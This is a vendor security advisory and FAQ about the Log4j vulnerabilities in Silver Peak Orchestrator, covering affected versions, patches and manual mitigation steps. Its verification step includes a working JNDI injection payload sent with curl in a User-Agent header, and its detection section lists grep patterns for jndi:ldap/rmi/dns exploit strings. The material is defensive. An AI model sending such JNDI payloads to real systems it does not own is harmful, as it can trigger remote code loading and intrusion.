Link Search Menu Expand Document

FAQs: Apache Log4j Vulnerability

The Apache Log4j vulnerabilities – CVE 2021-44228, CVE 2021-45046 – are critical vulnerabilities that should be immediately addressed on any affected systems, regardless of any other mitigations or hardening practices you may have in place.

CVE-2021-44832 is a low severity issue and will be addressed by upgrading your Orchestrator instance to an updated version containing Log4j 2.17.1. This FAQ will be updated as new releases that address this issue are available.

CVE 2021-45105 is another related vulnerability, but no Silver Peak products are affected by CVE 2021-45105.

What is the potential impact of this vulnerability?

Arbitrary code execution means that an unauthenticated attacker can execute any code on Orchestrator. This means that the attacker can take complete and total control of the SD-WAN network.

Which products are affected?

All Orchestrator and legacy GMS products are affected by CVE 2021-44228 and CVE 2021-45046, including:

  • Self-managed on-premise Orchestrator (perform this procedure now, then upgrade when available)
  • Self-managed Orchestrator running in public cloud services (perform this procedure now, then upgrade when available)
  • Self-managed Cloud instances installed from marketplace images (AWS, Azure, GCP) (perform this procedure now, then upgrade when available)
  • Silver Peak Orchestrator as a Service (Orch-AAS) (open a case with Support to have your managed instance upgraded when available)
  • Orchestrator-SP and Orchestrator Global Enterprise tenants (service providers must upgrade Orchestrator tenants when the upgrade is available)

Can I wait until Silver Peak releases a patch?

No – this is a critical vulnerability and you must take immediate action to manually patch your system. When Silver Peak releases a patched version of Orchestrator, you must apply that patch to all affected systems.

Which versions will be patched by Silver Peak?

To address CVE 2021-44228 and CVE 2021-45046, Orchestrator patches have been released for the following Orchestrator versions:

Affected ReleasePatched Version
8.9.168.9.17_40006
8.10.198.10.20_40008
9.0.69.0.6_40144
9.1.09.1.0_40524

If you are not running an Orchestrator version in one of the release trains that will be patched, you should manually patch your system as soon as possible. Additionally, it is strongly recommended that you upgrade to a patched version of Orchestrator as soon as you are able.

If you are upgrading from an older version of Orchestrator, ensure that you review the release notes to understand the upgrade path to be followed.

How will Silver Peak address CVE-2021-44832?

To address CVE-2021-44832, Silver Peak will update the version of log4j to 2.17.1 in Orchestrator 9.1.1 and later. Additionally, log4j will be updated to 2.17.1 in all future maintenance/patch releases of Orchestrator versions that are currently supported. Customers should upgrade to a patched version of Orchestrator when available.

Manual patch for self-managed Orchestrator instances

You can watch a video walkthrough of the manual patch procedure here.

The following procedure updates the vulnerable class from the installed Log4j library.

  1. SSH to the Orchestrator virtual machine and log in as the admin user.

  2. Change to /home/gms/gms/lib: cd /home/gms/gms/lib

  3. Create a backup directory for affected files: mkdir /home/gms/log4jbackup

  4. Make a copy of the affected libraries: cp log4j* /home/gms/log4jbackup

  5. Switch to root: su

  6. Stop the Orchestrator service: systemctl stop gms

  7. Exit root: exit

  8. Change to /home/gms/gms/lib: cd /home/gms/gms/lib

  9. Run the following command to remove the affected class:

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  10. Swith to root: su

  11. Start the Orchestrator service: systemctl start gms

  12. Exit root and exit the SSH session.

What is the impact of performing the manual patch?

The manual patch procedure simply patches the vulnerability. There is no impact on Orchestrator because the affected class is not used by Orchestrator.

Will the patch affect any functionality, like searching logs, in Orchestrator?

Everything will be functional as before. Nothing is affected on Orchestrator or any logs related to Orchestrator.

Will the logging function still work as expected?

Yes

Will the upgrade to the patched versions of Silver Peak Orchestrator correct the implemented work around and correct the vulnerability?

Yes

How can I verify that the manual patch is working?

You can watch a video walkthrough of the verification procedure here.

Follow the steps below to verify the manual patch procedure detailed above:

In the example below, “espn.com” is used. You can use any URL as long as you are sure that it does not already exist in the DNS cache.

  1. Open an SSH session to Orchestrator and log in as admin.

    a. Change directory to /home/gms/gms/logs

    b. Issue the following command: tail -f jetty-request.log | grep "espn.com"

  2. Open another SSH session to Orchestrator and log in as admin.

    a. Switch to root.

    b. Issue the following command: tcpdump -i any -n port 53

  3. Open another SSH session to Orchestrator and log in as admin.

    a. Issue the following command: curl -k -H 'User-Agent: ${jndi:ldap://www.espn.com/a}' https://<external IP of Orchestrator>/gms/rest/gmsserver/ping

  4. If Orchestrator is vulnerable, you will see a DNS resolution request for “espn.com” in the tcpdump SSH session.

How can I tell if my Orchestrator was breached?

The following guidance applies only to on-premise or self-hosted Orchestrator instances.

CAUTION: Silver Peak does not warrant the efficacy of any open source code, including code that is referenced below, and Silver Peak will not provide support for any such code. While these tools can be effective, Silver Peak customers use these tools at their own risk.

It is possible to detect exploitation attempts by searching all log files on a server for JNDI-related exploit strings. While straight searches can be performed, attack strings can be easily obfuscated. The following script takes obfuscation into account when searching:

  • Log4Shell-detector – detector for Log4Shell exploitation attempts
  • NOTE: The log directories to be searched, besides system log directories, also include /home/gms/gms/logs.

The following manual searches can be performed, but these do not consider any attempts to obfuscate an exploit attempt:

$ sudo find /var/log -type f -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

$ sudo find /home/gms/gms/logs -type f -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

$ sudo find /var/log/ -name "*.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

$ sudo find /home/gms/gms/logs/ -name "*.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

Additional questions about other security measures

Some customers have asked whether additional security measures or hardening procedures can help protect against this vulnerability. While some of the following measures may provide some level of protection, the recommended course of action is to manually patch and then upgrade self-managed Orchestrators or open a case to have your Silver Peak managed instances upgraded when possible.

If I am blocking ports, is my Orchestrator safe?

No – port blocking will not protect Orchestrator from this vulnerability. An attacker only needs regular unauthenticated HTTPS access to take control.

If Orchestrator can only be accessed by trusted IPs, am I still affected?

You are not affected if you can trust users accessing Orchestrator from those IPs.

If Orchestrator is behind a firewall, is it still vulnerable?

If the firewall blocks HTTP headers with JNDI instructions, then your Orchestrator should be safe. Note that most firewalls do not have this functionality enabled by default, and you would likely have to configure it.